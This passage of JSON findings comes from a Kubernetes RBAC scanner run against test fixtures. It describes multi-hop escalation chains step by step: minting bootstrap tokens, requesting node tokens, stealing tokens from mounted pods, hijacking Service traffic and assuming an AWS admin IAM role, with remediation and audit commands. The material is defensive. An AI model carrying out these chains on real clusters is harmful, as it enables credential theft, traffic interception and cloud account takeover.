        "2. node_token_request [node authorizer: create serviceaccounts/token for pods bound to the node]",
        "3. pod_create_token_theft [create pods]",
        "4. service_backend_rewrite [get,list,patch services]"
      ],
      "first_action": "bootstrap_token_mint",
      "hop_count": 4,
      "target": "traffic_intercept",
      "target_namespace": "",
      "techniques": [
        "bootstrap_token_mint",
        "node_token_request",
        "pod_create_token_theft",
        "service_backend_rewrite"
      ]
    },
    "remediation": "Remove write access to `pods/status` (and to `endpointslices`, `endpoints`, and `services`) from identities that are not the kubelet or a core controller, then break the chain at: remove the `create pods` capability that enables hop 3 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/hookbackend-fixtures/hookbackend-operator`).",
    "remediation_steps": [
      "Break the chain at: remove the `create pods` capability that enables hop 3 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/hookbackend-fixtures/hookbackend-operator`).",
      "Audit who can write pod status: `kubectl get clusterroles,roles -A -o json | jq -r '.items[] | select(.rules[]?.resources[]? == \"pods/status\") | \"\\(.kind) \\(.metadata.namespace // \"-\")/\\(.metadata.name)\"'`. Expect `system:node` and a handful of `system:controller:*` roles, nothing bound to a workload.",
      "Alert on `pods/status` writes from identities that are not `system:node:*`: the audit event's `user.username` and `objectRef.subresource` fields identify them directly.",
      "For Services whose clients carry credentials (webhook backends, aggregated APIs, internal APIs), move the clients to mutual TLS or to an mTLS service mesh so a redirected backend cannot present the expected identity.",
      "Avoid `publishNotReadyAddresses: true` on Services whose backends are not fully owned by the same team, since it publishes the status of pods no kubelet corrects."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — EndpointSlices (how Service backends are derived from pod status)",
        "url": "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1557",
        "name": "Adversary-in-the-Middle",
        "url": "https://attack.mitre.org/techniques/T1557/"
      },
      {
        "id": "T1040",
        "name": "Network Sniffing",
        "url": "https://attack.mitre.org/techniques/T1040/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "bootstrap_token_mint",
        "technique": "KUBE-PRIVESC-026",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-tokenwriter",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create secrets in kube-system",
        "gains": "can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
        "source_binding": "nodeid-tokenwriter",
        "source_role": "nodeid-tokenwriter",
        "binding_namespace": "kube-system"
      },
      {
        "step": 2,
        "action": "node_token_request",
        "technique": "KUBE-NODE-AUTHZ",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-tokenwriter",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "permission": "node authorizer: create serviceaccounts/token for pods bound to the node",
        "gains": "as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there"
      },
      {
        "step": 3,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "hookbackend-operator",
          "namespace": "hookbackend-fixtures"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 4,
        "action": "service_backend_rewrite",
        "technique": "KUBE-PRIVESC-022",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "hookbackend-operator",
          "namespace": "hookbackend-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "get,list,patch services",
        "gains": "can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses",
        "source_binding": "hookbackend-operator",
        "source_role": "hookbackend-operator",
        "binding_namespace": "hookbackend-fixtures"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:traffic_intercept"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-TRAFFIC-INTERCEPT:ServiceAccount/privesc-fixtures/sa-secret-mint:traffic_intercept",
    "rule_id": "KUBE-PRIVESC-PATH-TRAFFIC-INTERCEPT",
    "severity": "HIGH",
    "score": 6.449999999999999,
    "category": "lateral_movement",
    "title": "`ServiceAccount/privesc-fixtures/sa-secret-mint` can **intercept in-cluster Service traffic** in 4 hop(s)",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-secret-mint` has a privesc path that terminates in control over where a Service's traffic goes. A Service's backends are derived from the IPs its selected pods report in their status, and that status is an ordinary API subresource: a subject that can write it rewrites a pod's `podIP`, the EndpointSlice controller republishes the address, and kube-proxy re-points the Service at it within a second. Clients resolve the Service name as before and connect to the attacker.\n\nThe chain (4 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/privesc-fixtures/sa-secret-mint` → `/` via `bootstrap_token_mint` (create,get secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name\n  2. `ServiceAccount/privesc-fixtures/sa-secret-mint` → `ServiceAccount/rbac-fixtures/sa-pod-create` via `node_token_request` (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there\n  3. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/hookbackend-fixtures/hookbackend-operator` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator\n  4. `ServiceAccount/hookbackend-fixtures/hookbackend-operator` → `/` via `service_backend_rewrite` (get,list,patch services): can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses\n\nWhat this yields depends on who calls the intercepted Service. For an application Service it is that application's credentials and data. For a Service that backs an admission webhook or an aggregated API, the clients are the API server itself, and the position becomes admission bypass or control-plane credential capture. The hop's difficulty says how durable the position is: `hard` when the pod's kubelet corrects the status every 10 seconds and the attacker must keep writing it, `moderate` when a selected Service publishes not-ready addresses and a selected pod has no node, so nothing ever corrects it.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-secret-mint",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-secret-mint` → `Service traffic interception`"
    },
    "impact": "Adversary-in-the-middle position on one or more in-cluster Services: capture of bearer tokens, credentials, and request bodies that the Service's clients send, and the ability to alter responses. For a webhook or aggregated-API backend, this is admission bypass or API-server credential capture.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/privesc-fixtures/sa-secret-mint`.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-secret-mint`, the attacker writes a Secret of type `bootstrap.kubernetes.io/token` in kube-system (`create,get secrets in kube-system`). The bootstrap-token authenticator treats it as a credential for `system:bootstrap:\u003cid\u003e` in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.",
      "Holding a node identity, the attacker requests a token for ServiceAccount `ServiceAccount/rbac-fixtures/sa-pod-create` through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as `ServiceAccount/rbac-fixtures/sa-pod-create`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/hookbackend-fixtures/hookbackend-operator` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/hookbackend-fixtures/hookbackend-operator`, the attacker rewrites a Service's spec (`get,list,patch services`): its selector, so it points at pods the attacker controls, its ports, or its type (an `ExternalName` sends clients to a hostname of the attacker's choosing). The controller republishes the backends within a second and clients resolve the Service name as before, so they connect to the attacker.",
      "Final step: the Service's clients connect to an address the attacker controls. Every request they send arrives there first: bearer tokens in `Authorization` headers, webhook payloads, database credentials in connection strings. The attacker reads or alters them and forwards the request to the real backend, so nothing breaks and nothing is logged on the client side."
    ],
    "evidence": {
      "chain_summary": [
        "1. bootstrap_token_mint [create,get secrets in kube-system]",
        "2. node_token_request [node authorizer: create serviceaccounts/token for pods bound to the node]",
        "3. pod_create_token_theft [create pods]",
        "4. service_backend_rewrite [get,list,patch services]"
      ],
      "first_action": "bootstrap_token_mint",
      "hop_count": 4,
      "target": "traffic_intercept",
      "target_namespace": "",
      "techniques": [
        "bootstrap_token_mint",
        "node_token_request",
        "pod_create_token_theft",
        "service_backend_rewrite"
      ]
    },
    "remediation": "Remove write access to `pods/status` (and to `endpointslices`, `endpoints`, and `services`) from identities that are not the kubelet or a core controller, then break the chain at: remove the `create pods` capability that enables hop 3 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/hookbackend-fixtures/hookbackend-operator`).",
    "remediation_steps": [
      "Break the chain at: remove the `create pods` capability that enables hop 3 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/hookbackend-fixtures/hookbackend-operator`).",
      "Audit who can write pod status: `kubectl get clusterroles,roles -A -o json | jq -r '.items[] | select(.rules[]?.resources[]? == \"pods/status\") | \"\\(.kind) \\(.metadata.namespace // \"-\")/\\(.metadata.name)\"'`. Expect `system:node` and a handful of `system:controller:*` roles, nothing bound to a workload.",
      "Alert on `pods/status` writes from identities that are not `system:node:*`: the audit event's `user.username` and `objectRef.subresource` fields identify them directly.",
      "For Services whose clients carry credentials (webhook backends, aggregated APIs, internal APIs), move the clients to mutual TLS or to an mTLS service mesh so a redirected backend cannot present the expected identity.",
      "Avoid `publishNotReadyAddresses: true` on Services whose backends are not fully owned by the same team, since it publishes the status of pods no kubelet corrects."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — EndpointSlices (how Service backends are derived from pod status)",
        "url": "https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1557",
        "name": "Adversary-in-the-Middle",
        "url": "https://attack.mitre.org/techniques/T1557/"
      },
      {
        "id": "T1040",
        "name": "Network Sniffing",
        "url": "https://attack.mitre.org/techniques/T1040/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "bootstrap_token_mint",
        "technique": "KUBE-PRIVESC-026",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-secret-mint",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create,get secrets in kube-system",
        "gains": "can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
        "source_binding": "crb-secret-mint",
        "source_role": "cr-secret-mint"
      },
      {
        "step": 2,
        "action": "node_token_request",
        "technique": "KUBE-NODE-AUTHZ",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-secret-mint",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "permission": "node authorizer: create serviceaccounts/token for pods bound to the node",
        "gains": "as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there"
      },
      {
        "step": 3,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "hookbackend-operator",
          "namespace": "hookbackend-fixtures"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 4,
        "action": "service_backend_rewrite",
        "technique": "KUBE-PRIVESC-022",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "hookbackend-operator",
          "namespace": "hookbackend-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "get,list,patch services",
        "gains": "can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses",
        "source_binding": "hookbackend-operator",
        "source_role": "hookbackend-operator",
        "binding_namespace": "hookbackend-fixtures"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:traffic_intercept"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE:ServiceAccount/privesc-fixtures/sa-pod-create-escape:aws_iam_role:arn:aws:iam::123456789012:role/ImpersonatorAdminRole",
    "rule_id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE",
    "severity": "HIGH",
    "score": 6.4,
    "category": "privilege_escalation",
    "title": "ServiceAccount can reach external AWS IAM role",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-pod-create-escape` has a privesc path that ends at an external AWS IAM role. The terminal hop is `irsa_assume_role`: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.\n\nThe chain (4 hop(s); each step uses an explicit primitive the engine validated):\n  1. `ServiceAccount/privesc-fixtures/sa-pod-create-escape` → `ServiceAccount/privesc-fixtures/sa-ephemeral` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral\n  2. `ServiceAccount/privesc-fixtures/sa-ephemeral` → `ServiceAccount/rbac-fixtures/sa-pod-create` via `ephemeral_container_inject` (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create\n  3. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/cloud-eks-imp/imp-irsa` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa\n  4. `ServiceAccount/cloud-eks-imp/imp-irsa` → `User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole` via `irsa_assume_role` (arn:aws:iam::123456789012:role/ImpersonatorAdminRole): ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA\n\nThis finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or `aws iam simulate-principal-policy`) is required to convert this into a concrete impact statement.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-create-escape",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-pod-create-escape` -\u003e external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface."
    },
    "impact": "Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/privesc-fixtures/sa-pod-create-escape`.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-pod-create-escape`, the attacker creates a pod that mounts the `ServiceAccount/privesc-fixtures/sa-ephemeral` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-ephemeral`, the attacker uses the `ephemeral_container_inject` technique to reach `ServiceAccount/rbac-fixtures/sa-pod-create` via `update,patch pods/ephemeralcontainers`, which gains can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/cloud-eks-imp/imp-irsa` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/cloud-eks-imp/imp-irsa`, the attacker uses the `irsa_assume_role` technique to reach `User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole` via `arn:aws:iam::123456789012:role/ImpersonatorAdminRole`, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA.",
      "Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (`sts:AssumeRoleWithWebIdentity`) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_token_theft [create pods]",
        "2. ephemeral_container_inject [update,patch pods/ephemeralcontainers]",
        "3. pod_create_token_theft [create pods]",
        "4. irsa_assume_role [arn:aws:iam::123456789012:role/ImpersonatorAdminRole]"
      ],
      "first_action": "pod_create_token_theft",
      "hop_count": 4,
      "target": "aws_iam_role",
      "target_namespace": "",
      "techniques": [
        "pod_create_token_theft",
        "ephemeral_container_inject",
        "irsa_assume_role"
      ]
    },
    "remediation": "Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the `create pods` capability that enables hop 1 (`ServiceAccount/privesc-fixtures/sa-pod-create-escape` → `ServiceAccount/privesc-fixtures/sa-ephemeral`).",
    "remediation_steps": [
      "Audit the IAM role's trust policy: `aws iam get-role --role-name \u003crole\u003e` and confirm the `Condition` block restricts `sub` to exactly this ServiceAccount (e.g. `system:serviceaccount:\u003cns\u003e:\u003csa\u003e`). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.",
      "Apply least-privilege actions on the role's attached policies. Replace `Action: \"*\"` or `Resource: \"*\"` with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).",
      "Tag and audit role usage with CloudTrail. Set `aws_iam_role_last_used` to alert on any AssumeRole event not originating from the expected SA's OIDC sub.",
      "Break the in-cluster chain: remove the `create pods` capability that enables hop 1 (`ServiceAccount/privesc-fixtures/sa-pod-create-escape` → `ServiceAccount/privesc-fixtures/sa-ephemeral`).",
      "Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose `eks.amazonaws.com/role-arn` annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist."
    ],
    "references": [
      "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html",
      "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html",
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "AWS: IAM Roles for Service Accounts (IRSA)",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html"
      },
      {
        "title": "AWS: Restrict an IRSA role to a single ServiceAccount",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html"
      },
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create-escape",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ephemeral",
          "namespace": "privesc-fixtures"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral",
        "source_binding": "rb-pod-create-escape",
        "source_role": "r-pod-create-escape",
        "binding_namespace": "privesc-fixtures"
      },
      {
        "step": 2,
        "action": "ephemeral_container_inject",
        "technique": "KUBE-PRIVESC-013",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ephemeral",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "permission": "update,patch pods/ephemeralcontainers",
        "gains": "can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create",
        "source_binding": "crb-ephemeral",
        "source_role": "cr-ephemeral"
      },
      {
        "step": 3,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "imp-irsa",
          "namespace": "cloud-eks-imp"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 4,
        "action": "irsa_assume_role",
        "technique": "KUBE-CLOUD-IRSA",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "imp-irsa",
          "namespace": "cloud-eks-imp"
        },
        "to_subject": {
          "kind": "User",
          "name": "arn:aws:iam::123456789012:role/ImpersonatorAdminRole"
        },
        "permission": "arn:aws:iam::123456789012:role/ImpersonatorAdminRole",
        "gains": "ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:aws_iam_role"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/nodeid-fixtures/nodeid-tokenwriter:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "HIGH",
    "score": 6.3,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` can reach `token_mint` in 3 hop(s)",
    "description": "Subject `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `/` via `bootstrap_token_mint` (create secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name\n  2. `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `ServiceAccount/foothold-exec/foothold-decoy-sa` via `node_token_request` (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there\n  3. `ServiceAccount/foothold-exec/foothold-decoy-sa` → `/` via `secret_mint_token` (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount",
    "subject": {
      "kind": "ServiceAccount",
      "name": "nodeid-tokenwriter",
      "namespace": "nodeid-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter`.",
      "Acting as `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter`, the attacker writes a Secret of type `bootstrap.kubernetes.io/token` in kube-system (`create secrets in kube-system`). The bootstrap-token authenticator treats it as a credential for `system:bootstrap:\u003cid\u003e` in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.",
      "Holding a node identity, the attacker requests a token for ServiceAccount `ServiceAccount/foothold-exec/foothold-decoy-sa` through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as `ServiceAccount/foothold-exec/foothold-decoy-sa`.",
      "Acting as `ServiceAccount/foothold-exec/foothold-decoy-sa`, the attacker uses the `secret_mint_token` technique via `create + get secrets (cluster-wide)`, which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. bootstrap_token_mint [create secrets in kube-system]",
        "2. node_token_request [node authorizer: create serviceaccounts/token for pods bound to the node]",
        "3. secret_mint_token [create + get secrets (cluster-wide)]"
      ],
      "first_action": "bootstrap_token_mint",
      "hop_count": 3,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "bootstrap_token_mint",
        "node_token_request",
        "secret_mint_token"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `create secrets in kube-system` that enables the first hop (`ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `create secrets in kube-system` that enables the first hop (`ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
